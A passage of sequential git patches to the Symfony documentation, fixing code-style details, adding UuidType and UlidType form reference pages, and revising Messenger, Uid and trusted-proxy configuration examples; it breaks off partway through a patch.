diff --git a/messenger.rst b/messenger.rst
index 83b7d59dff4..7f13eb0f4b0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -975,8 +975,8 @@ The transport has a number of options:
                     'async_priority_low' => [
                         'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
                         'options' => [
-                            'queue_name' => 'normal_priority'
-                        ]
+                            'queue_name' => 'normal_priority',
+                        ],
                     ],
                 ],
             ],
@@ -1445,8 +1445,8 @@ Then, make sure to "route" your message to *both* transports:
                     'image_transport' => '...',
                 ],
                 'routing' => [
-                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal']
-                ]
+                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal'],
+                ],
             ],
         ]);
 

From 336d8ae4d028b2e3b4967924d737d7b11f965cbc Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 19:57:07 +0100
Subject: [PATCH 0471/5766] [Validator] Use single quotes for a string

---
 validation.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/validation.rst b/validation.rst
index ab81c528462..55d0c6aaed5 100644
--- a/validation.rst
+++ b/validation.rst
@@ -298,7 +298,7 @@ rules). In order to validate an object, simply map one or more constraints
 to its class and then pass it to the ``validator`` service.
 
 Behind the scenes, a constraint is simply a PHP object that makes an assertive
-statement. In real life, a constraint could be: 'The cake must not be burned'.
+statement. In real life, a constraint could be: ``'The cake must not be burned'``.
 In Symfony, constraints are similar: they are assertions that a condition
 is true. Given a value, a constraint will tell you if that value
 adheres to the rules of the constraint.
@@ -342,7 +342,7 @@ literature genre mostly associated with the author, which can be set to either
         {
             /**
              * @Assert\Choice(
-             *     choices = { "fiction", "non-fiction" },
+             *     choices = {"fiction", "non-fiction"},
              *     message = "Choose a valid genre."
              * )
              */
@@ -509,7 +509,7 @@ of the form fields::
         $builder
             ->add('myField', TextType::class, [
                 'required' => true,
-                'constraints' => [new Length(['min' => 3])]
+                'constraints' => [new Length(['min' => 3])],
             ])
         ;
     }
@@ -606,7 +606,7 @@ class to have at least 3 characters.
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
                     'firstName',
-                    new Assert\Length(["min" => 3])
+                    new Assert\Length(['min' => 3])
                 );
             }
         }

From eee0223c0de7d0c036ed9fe5872d2127888fb7d6 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 9 Feb 2021 20:01:01 +0100
Subject: [PATCH 0472/5766] [Messenger][CS] Add missing comma in PHP
 configuration

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index a6e64d8f94e..8a527c43c65 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -899,7 +899,7 @@ options. Options can be passed to the transport via a DSN string or configuratio
                         'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
                         'options' => [
                             'auto_setup' => false,
-                        ]
+                        ],
                     ],
                 ],
             ],

From 918671aebe8e95e75de35ddb0f963c5e915ca5f7 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 20:02:25 +0100
Subject: [PATCH 0473/5766] [Validator] Add a comma after the last array item
 in a multi-line array

---
 validation/raw_values.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index cd25bec0653..8cee65108b8 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -88,7 +88,7 @@ Validation of arrays is possible using the ``Collection`` constraint::
                 new Assert\Collection([
                     'slug' => [
                         new Assert\NotBlank(),
-                        new Assert\Type(['type' => 'string'])
+                        new Assert\Type(['type' => 'string']),
                     ],
                     'label' => [
                         new Assert\NotBlank(),

From 30f7d5f28754a7ab5d83eaec76e7bafca5c1caff Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 20:12:31 +0100
Subject: [PATCH 0474/5766] [Validator] Add a missing namespace and use

---
 validation/custom_constraint.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 3cebc7a0c72..5ebd2f659d1 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -228,6 +228,11 @@ not to the property:
 
     .. code-block:: php-annotations
 
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        
         /**
          * @AcmeAssert\ProtocolClass
          */

From 5df61fdfc234a4c956e3329fd9bced53c2d2d00f Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 20:15:55 +0100
Subject: [PATCH 0475/5766] [Validator] Add a missing namespace and use

---
 validation/custom_constraint.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9cecde12b8a..468342ea5bd 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -285,6 +285,11 @@ not to the property:
 
     .. code-block:: php-attributes
 
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+
         #[AcmeAssert\ProtocolClass]
         class AcmeEntity
         {

From c8ad12291ffac5f8d58e8318b3b4048c4bb14b4c Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Wed, 10 Feb 2021 07:03:56 -0500
Subject: [PATCH 0476/5766] updating config for postcss-loader v4

---
 frontend/encore/postcss.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 76c6e8d67e9..d2322b14032 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -43,13 +43,14 @@ You can also pass options to the `postcss-loader`_ by passing a callback:
 .. code-block:: diff
 
     // webpack.config.js
+    + const path = require('path');
 
     Encore
         // ...
     +     .enablePostCssLoader((options) => {
-    +         options.config = {
+    +         options.postcssOptions = {
     +             // the directory where the postcss.config.js file is stored
-    +             path: 'path/to/config'
+    +             config: path.resolve(__dirname, 'sub-dir', 'custom.config.js'),
     +         };
     +     })
     ;

From 0fcfccadc6d0a323321437af607f91bf817f4068 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Feb 2021 18:56:31 +0100
Subject: [PATCH 0477/5766] [Messenger] Remove duplicated AMQP transport option

The confirm_timeout option (introduced in Symfony 5.2) has been documented twice. I left the first version which is closest to the documentation available in the Symfony\Component\Messenger\Bridge\Amqp\Transport\Connection class.
---
 messenger.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 625a1bfb743..49058d4d3e4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -971,9 +971,6 @@ The transport has a number of options:
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
                                               May be fractional.
-``confirm_timeout``                           Number of seconds to wait for message sending
-                                              confirmation. If not specified, transport won't
-                                              wait for confirmation. May be fractional.
 ``frame_max``                                 The largest frame size that the server proposes
                                               for the connection, including frame header and
                                               end-byte. 0 means standard extension limit

From 78a6c7764bb30d4682cc7f32854840358e6fafb3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 09:23:49 +0100
Subject: [PATCH 0478/5766] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 49058d4d3e4..0e69f3e11ff 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -965,8 +965,8 @@ The transport has a number of options:
 ``cert``                                      Path to the client certificate in PEM format.
 ``channel_max``                               Specifies highest channel number that the server
                                               permits. 0 means standard extension limit
-``confirm_timeout``                           Timeout in seconds for confirmation, if none
-                                              specified transport will not wait for message
+``confirm_timeout``                           Timeout in seconds for confirmation; if none
+                                              specified, transport will not wait for message
                                               confirmation. Note: 0 or greater seconds. May be
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.

From 6c790bc5bfc91573cd166c722f51e9ec7ea5dae2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 11:17:36 +0100
Subject: [PATCH 0479/5766] [Form] Document the new Uuid and Ulid form types

---
 components/uid.rst                |  4 ++
 reference/forms/types.rst         |  3 +
 reference/forms/types/map.rst.inc |  6 ++
 reference/forms/types/ulid.rst    | 98 +++++++++++++++++++++++++++++++
 reference/forms/types/uuid.rst    | 98 +++++++++++++++++++++++++++++++
 5 files changed, 209 insertions(+)
 create mode 100644 reference/forms/types/ulid.rst
 create mode 100644 reference/forms/types/uuid.rst

diff --git a/components/uid.rst b/components/uid.rst
index e84b7296fad..49ccac839a7 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -21,6 +21,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+.. _uuid:
+
 UUIDs
 -----
 
@@ -214,6 +216,8 @@ of the UUID parameters::
         }
     }
 
+.. _ulid:
+
 ULIDs
 -----
 
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index 49d769c8967..61ff1b5bf86 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -41,6 +41,9 @@ Form Types Reference
    types/file
    types/radio
 
+   types/uuid
+   types/ulid
+
    types/collection
    types/repeated
 
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4036f2f7dce..8171c836a4d 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -43,6 +43,12 @@ Other Fields
 * :doc:`FileType </reference/forms/types/file>`
 * :doc:`RadioType </reference/forms/types/radio>`
 
+UID Fields
+~~~~~~~~~~
+
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
+
 Field Groups
 ~~~~~~~~~~~~
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
new file mode 100644
index 00000000000..26ffa1856e2
--- /dev/null
+++ b/reference/forms/types/ulid.rst
@@ -0,0 +1,98 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UlidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UlidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the ULID string value and transforms it back to
+a proper :ref:`Ulid object <ulid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | (none)                                                                |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid ULID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :end-before: DEFAULT_PLACEHOLDER
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :start-after: DEFAULT_PLACEHOLDER
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
new file mode 100644
index 00000000000..dd478140ba9
--- /dev/null
+++ b/reference/forms/types/uuid.rst
@@ -0,0 +1,98 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UuidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UuidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the UUID string value and transforms it back to
+a proper :ref:`Uuid object <uuid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | (none)                                                                |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid UUID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :end-before: DEFAULT_PLACEHOLDER
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :start-after: DEFAULT_PLACEHOLDER
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc

From 37319d7f4e3b82b866d43ba2bb448a5a4f11d8e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 12:10:35 +0100
Subject: [PATCH 0480/5766] [Messenger] Fixed the MESSENGER_TRANSPORT_DSN
 example

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0e69f3e11ff..281c31fa235 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1327,7 +1327,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=https://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/123456789012/messages
+    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key= AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::

From de411c431119a81afa63af5e804329810de16d14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 13:30:01 +0100
Subject: [PATCH 0481/5766] [Session] Remove some unneeded example

---
 session.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/session.rst b/session.rst
index 8d465516a58..fb9bb81cd8a 100644
--- a/session.rst
+++ b/session.rst
@@ -196,22 +196,6 @@ the existence of data in the session. This may hurt your application performance
 because all users will receive a session cookie. In order to prevent that, you
 must *completely* avoid accessing the session.
 
-For example, if your templates include some code to display the
-:ref:`flash messages <flash-messages>`, sessions will start even if the user
-is not logged in and even if you haven't created any flash messages. To avoid
-this behavior, add a check before trying to access the flash messages:
-
-.. code-block:: html+twig
-
-    {# this check prevents starting a session when there are no flash messages #}
-    {% if app.request.hasPreviousSession %}
-        {% for message in app.flashes('notice') %}
-            <div class="flash-notice">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endif %}
-
 More about Sessions
 -------------------
 

From 243d84b030e6fbbc09bdc447bd01c6f49fc7d777 Mon Sep 17 00:00:00 2001
From: Johann Pardanaud <pardanaud.j@gmail.com>
Date: Thu, 11 Feb 2021 16:33:02 +0100
Subject: [PATCH 0482/5766] [Messenger] Document DSN format for Redis Cluster

---
 messenger.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index c53044e588d..edcd236f2c3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1190,6 +1190,8 @@ The Redis transport DSN may looks like this:
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
     # Full DSN Example
     MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0
+    # Redis Cluster Example
+    MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 

From 5b04647263b09dc888edb0bff2ff7717ff3cc497 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Thu, 11 Feb 2021 18:39:58 +0100
Subject: [PATCH 0483/5766] [Mercure] Make the command compatible with ZSH

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 527833e2f7e..f32e8eee6a8 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -75,7 +75,7 @@ On Linux and Mac, run the following command to start it:
 
 .. rst-class:: command-linux
 
-    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY="!ChangeMe!" MERCURE_SUBSCRIBER_JWT_KEY="!ChangeMe!" ./mercure run -config Caddyfile.dev
+    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!' MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!' ./mercure run -config Caddyfile.dev
 
 On Windows run:
 

From 036d01bdcdd847d4503ae4647833b8c02ecfb52e Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 11 Feb 2021 18:39:53 +0100
Subject: [PATCH 0484/5766] [Messenger][CS] Add missing commas

I discovered two more examples where a comma is missing after the last array item in a multi-line array.
---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7f13eb0f4b0..0ee914216ca 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -859,7 +859,7 @@ your Envelope::
 
     $attributes = [];
     $bus->dispatch(new SmsNotification(), [
-        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes)
+        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
 .. caution::
@@ -1483,12 +1483,12 @@ to your message::
     {
         $bus->dispatch(new SmsNotification('...'), [
             // wait 5 seconds before processing
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]);
 
         // or explicitly create an Envelope
         $bus->dispatch(new Envelope(new SmsNotification('...'), [
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]));
 
         // ...

From 756b7734d676a1edc47611899a56d7e1a9726d1d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 12 Feb 2021 06:49:37 +0100
Subject: [PATCH 0485/5766] [Messenger] Fix grammar issue

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0e69f3e11ff..d4929f1659d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1100,7 +1100,7 @@ Beanstalkd Transport
 
     The Beanstalkd transport was introduced in Symfony 5.2.
 
-The Beanstalkd transports sends messages directly to a Beanstalkd work queue. Install
+The Beanstalkd transport sends messages directly to a Beanstalkd work queue. Install
 it by running:
 
 .. code-block:: terminal

From 5e1aaeca8f25fcdfb4c2b0fc0262450ffdc21bcc Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 12 Feb 2021 09:45:29 +0100
Subject: [PATCH 0486/5766] fix the trusted proxies configuration

---
 deployment/proxies.rst | 29 ++++++++++++++---------------
 1 file changed, 14 insertions(+), 15 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 95d1ddfd0c9..9b6821e3f79 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -33,13 +33,13 @@ and what headers your reverse proxy uses to send information:
             # ...
             // the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
-            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-            trusted_headers: ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix']
+            // trust *all* "X-Forwarded-*" headers
+            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
             // or, if your proxy instead uses the "Forwarded" header
-            trusted_headers: ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix']
+            trusted_headers: ['forwarded']
             // or, if you're using a wellknown proxy
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix']
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB]
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK]
 
     .. code-block:: xml
 
@@ -57,15 +57,14 @@ and what headers your reverse proxy uses to send information:
                 <!-- the IP address (or range) of your proxy -->
                 <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
 
-                <!-- trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers) -->
-                <framework:trusted-header>x-forwarded-all</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
+                <!-- trust *all* "X-Forwarded-*" headers -->
+                <framework:trusted-header>x-forwarded-for</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-proto</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-port</framework:trusted-header>
 
                 <!-- or, if your proxy instead uses the "Forwarded" header -->
                 <framework:trusted-header>forwarded</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
-                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
             </framework:config>
         </container>
 
@@ -78,12 +77,12 @@ and what headers your reverse proxy uses to send information:
             // the IP address (or range) of your proxy
             'trusted_proxies' => '192.0.0.1,10.0.0.0/8',
             // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-            'trusted_headers' => ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'],
             // or, if your proxy instead uses the "Forwarded" header
-            'trusted_headers' => ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => ['forwarded'],
             // or, if you're using a wellknown proxy
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix'],
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB],
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK],
         ]);
 
 .. deprecated:: 5.2

From 7a2f7df69762aa244639dd3e130cc2516277f64d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 10:51:03 +0100
Subject: [PATCH 0487/5766] [Uid] Removed Uuuid generator classes

---
 components/uid.rst | 35 +++++++++++++++++------------------
 1 file changed, 17 insertions(+), 18 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index e84b7296fad..b63d829d03a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -151,29 +151,32 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
-There's also a Doctrine generator to help autogenerate UUID values for the
-entity primary keys::
+.. versionadded:: 5.2
 
-    // there are generators for UUID V1 and V6 too
-    use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator;
-    use Symfony\Component\Uid\Uuid;
+    The UUID type was introduced in Symfony 5.2.
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
-    class Product
+There is no generator to assign UUIDs automatically as the value of your entity
+primary keys, but you can use instead the following::
+
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+    // ...
+
+    class User implements UserInterface
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UuidV4Generator::class)
+         * @ORM\Column(type="ulid", unique=true)
          */
         private $id;
 
-        // ...
+        public function __construct()
+        {
+            $this->id = new Ulid();
+        }
 
-        public function getId(): ?Uuid
+        public function getId(): Ulid
         {
             return $this->id;
         }
@@ -181,10 +184,6 @@ entity primary keys::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UUID type and generators were introduced in Symfony 5.2.
-
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL

From 18393893867e6c2ad575f33775bdf0e4f102ea38 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Feb 2021 15:41:40 +0100
Subject: [PATCH 0488/5766] Tweaks

---
 components/uid.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index b63d829d03a..1bd3fcb2b56 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -156,27 +156,28 @@ type, which converts to/from UUID objects automatically::
     The UUID type was introduced in Symfony 5.2.
 
 There is no generator to assign UUIDs automatically as the value of your entity
-primary keys, but you can use instead the following::
+primary keys, but you can use the following::
 
     namespace App\Entity;
 
